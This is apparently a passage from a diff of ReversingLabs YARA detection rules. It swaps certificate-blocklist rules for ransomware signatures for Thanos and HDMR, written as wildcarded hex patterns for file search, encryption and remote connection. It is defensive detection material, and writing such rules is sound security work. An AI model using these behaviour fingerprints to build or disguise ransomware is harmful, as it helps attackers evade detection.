?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 8D 45 ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 + ?? 8B 50 ?? 8B 45 ?? 8B 08 FF 51 ?? 8D 55 ?? 8B 45 ?? 8B 08 FF 51 ?? 8B 45 ?? 8D 55 + ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? E8 ?? ?? + ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B C3 8B 55 ?? E8 ?? ?? ?? ?? + 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + $encrypt_files = { + 55 8B EC 6A ?? 6A ?? 6A ?? 53 56 57 BB ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 + 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 + ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52 + ?? 8B F0 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 + ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B DE 4B 85 DB 7C ?? 43 33 F6 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45 + ?? 8D 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? + ?? ?? 8B 08 FF 51 ?? 8D 4D ?? 8B D6 A1 ?? ?? ?? ?? 8B 38 FF 57 ?? 8B 45 ?? B1 ?? BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 46 4B 75 ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Accelerate Technologies Ltd" and ( pe.signatures [ i ] . serial == "00:b3:f9:06:e5:e6:b2:cf:61:c5:e5:1b:e7:9b:4e:87:77" or pe.signatures [ i ] . serial == "b3:f9:06:e5:e6:b2:cf:61:c5:e5:1b:e7:9b:4e:87:77" ) and 1594900020 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $search_files and $encrypt_files and $remote_connection } - -rule REVERSINGLABS_Cert_Blocklist_566Ac16A57B132D3F64Dced14De790Ee : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Thanos : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Thanos ransomware." author = "ReversingLabs" - id = "cb2ebbd5-5036-52f6-a064-11609f02309f" - date = "2020-08-05" - modified = "2023-11-08" + id = "e607255d-45a6-573d-956e-f6faa2aa7e9f" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4480-L4496" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Thanos.yara#L1-L106" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "48f4d334614f6c413907d51f4d6312554b13c4f5a3c03070ceba48baa13a8247" + logic_hash = "f6bc0c2188a04d2fb2a82a6b6d6cdf7763c32047bec725fe07f01415edf0b4cd" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Thanos" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? DD + ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 6C 7E ?? ?? ?? ?? + 28 ?? ?? ?? ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 35 ?? 7E ?? + ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 + 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ?? + ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 + 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 00 11 + ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11 + ?? 6F ?? ?? ?? ?? 00 DC 00 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 + ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0D 00 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D + ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? + ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F + } + $find_files_p2 = { + 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? 38 ?? ?? ?? ?? 00 00 09 72 ?? ?? ?? + ?? 17 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0C 00 00 + 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? + ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ?? + 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F ?? ?? + ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A + } + $find_files_p3 = { + 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? + ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F + ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 00 6F + ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? + ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? DD ?? ?? ?? ?? 08 6F ?? ?? + ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 6C 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 23 ?? ?? + ?? ?? ?? ?? ?? ?? 5A 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 35 ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 6F ?? ?? ?? ?? 6F ?? ?? + ?? ?? 00 00 2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 6F ?? ?? ?? ?? 6F ?? ?? + ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? + 11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 DC + 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? + ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 00 00 DE ?? + 26 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 06 13 ?? 2B ?? 11 ?? 2A + } + $encrypt_files = { + 73 ?? ?? ?? ?? 13 ?? 11 ?? 03 7D ?? ?? ?? ?? 11 ?? 04 7D ?? ?? ?? ?? 11 ?? 05 7D ?? ?? + ?? ?? 11 ?? 0E ?? 7D ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? + 80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 28 + ?? ?? ?? ?? 0A 06 8E 69 16 FE 02 16 FE 01 13 ?? 11 ?? 2D ?? 00 16 0B 2B ?? 00 06 07 9A + 6F ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 06 07 9A 6F ?? ?? ?? ?? 6F + ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 06 07 9A 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? + 00 00 00 00 07 17 58 0B 07 06 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 00 2B ?? 00 16 0B 2B ?? + 00 7E ?? ?? ?? ?? 02 07 9A 6F ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 02 07 9A + 6F ?? ?? ?? ?? 00 00 00 07 17 58 0B 07 02 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? + ?? 72 ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 00 6F ?? ?? ?? + ?? 26 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 14 0D 73 ?? ?? ?? ?? 13 + ?? 11 ?? 11 ?? 7D ?? ?? ?? ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 00 7E ?? ?? ?? + ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 09 2D ?? 11 ?? FE 06 ?? + ?? ?? ?? 73 ?? ?? ?? ?? 0D 2B ?? 09 73 ?? ?? ?? ?? 0C 08 1A 6F ?? ?? ?? ?? 00 08 16 6F + ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00 2B ?? 00 11 ?? 7B ?? ?? ?? + ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? + 28 ?? ?? ?? ?? 00 00 00 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE + 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 00 2A + } + $remote_connection = { + 00 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 19 6F ?? ?? ?? ?? + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 02 28 ?? ?? ?? ?? 06 28 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 06 28 ?? ?? ?? ?? 0C DE ?? 26 00 00 DE ?? 00 7E ?? + ?? ?? ?? 0C 2B ?? 00 08 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Unirad LLC" and pe.signatures [ i ] . serial == "56:6a:c1:6a:57:b1:32:d3:f6:4d:ce:d1:4d:e7:90:ee" and 1562889600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) and ( $remote_connection ) } - -rule REVERSINGLABS_Cert_Blocklist_D2Caf7908Aaebfa1A8F3E2136Fece024 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_HDMR : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects HDMR ransomware." author = "ReversingLabs" - id = "6c2c4fc6-5359-55fa-bf79-9202caa5f326" - date = "2020-08-05" - modified = "2023-11-08" + id = "97b5020c-6cb1-5ec6-84a4-2f35eae761c2" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4498-L4516" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HDMR.yara#L1-L161" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cf4d17274ef36d61e78578d34634bf6e5fb0fb857a9a92184916b0f3b8484568" + logic_hash = "035c6596db8dc14a663679c1f7e682b85963927cc034b01e390cc22fdee3334a" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "HDMR" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? + ?? ?? 53 56 8B 75 ?? 57 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 89 74 24 ?? + 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 52 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? + ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB + ?? 8D 49 ?? 8B 74 24 ?? F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24 ?? + 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 + ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? + 8D 44 24 ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 + C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D + } + $find_files_p2 = { + 54 24 ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 + ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4C 24 + ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 54 24 + ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 44 24 + ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 68 + ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 54 24 ?? 68 ?? ?? + ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D + 8C 24 ?? ?? ?? ?? 51 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 + 56 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 + E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83 + C4 ?? 85 F6 74 ?? 8B 44 24 ?? 8D 54 24 ?? 52 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? + 8B 0D ?? ?? ?? ?? 83 C4 ?? 3B 0D ?? ?? ?? ?? 7C ?? 8D 49 ?? 6A ?? FF 15 ?? ?? ?? ?? + 8B 15 ?? ?? ?? ?? 3B 15 ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? FF D7 FF 05 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF D3 6A ?? 6A ?? 56 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 8B 74 24 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? + ?? 56 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D + C3 + } + $encrypt_files_p1 = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? + ?? ?? 53 56 57 33 C0 8B D9 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 89 5C 24 ?? 66 + 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A + ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 66 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? BF ?? ?? + ?? ?? 33 F6 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? + ?? 83 C6 ?? 83 C7 ?? 81 FE ?? ?? ?? ?? 72 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51 + 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 8C ?? ?? ?? ?? 8B + 7C 24 ?? 7F ?? 83 FF ?? 0F 82 ?? ?? ?? ?? 8B F0 89 7C 24 ?? 89 74 24 ?? 85 C0 7C ?? + 7F ?? 83 FF ?? 76 ?? 6A ?? 6A ?? 6A ?? 53 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 33 C0 50 8D 54 24 ?? 52 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 88 44 24 ?? 6A ?? 8D + 44 24 ?? 50 53 C6 44 24 ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B C7 83 E8 + ?? 8B CE 83 D9 ?? 33 F6 39 44 24 ?? 75 ?? 3B F1 75 ?? 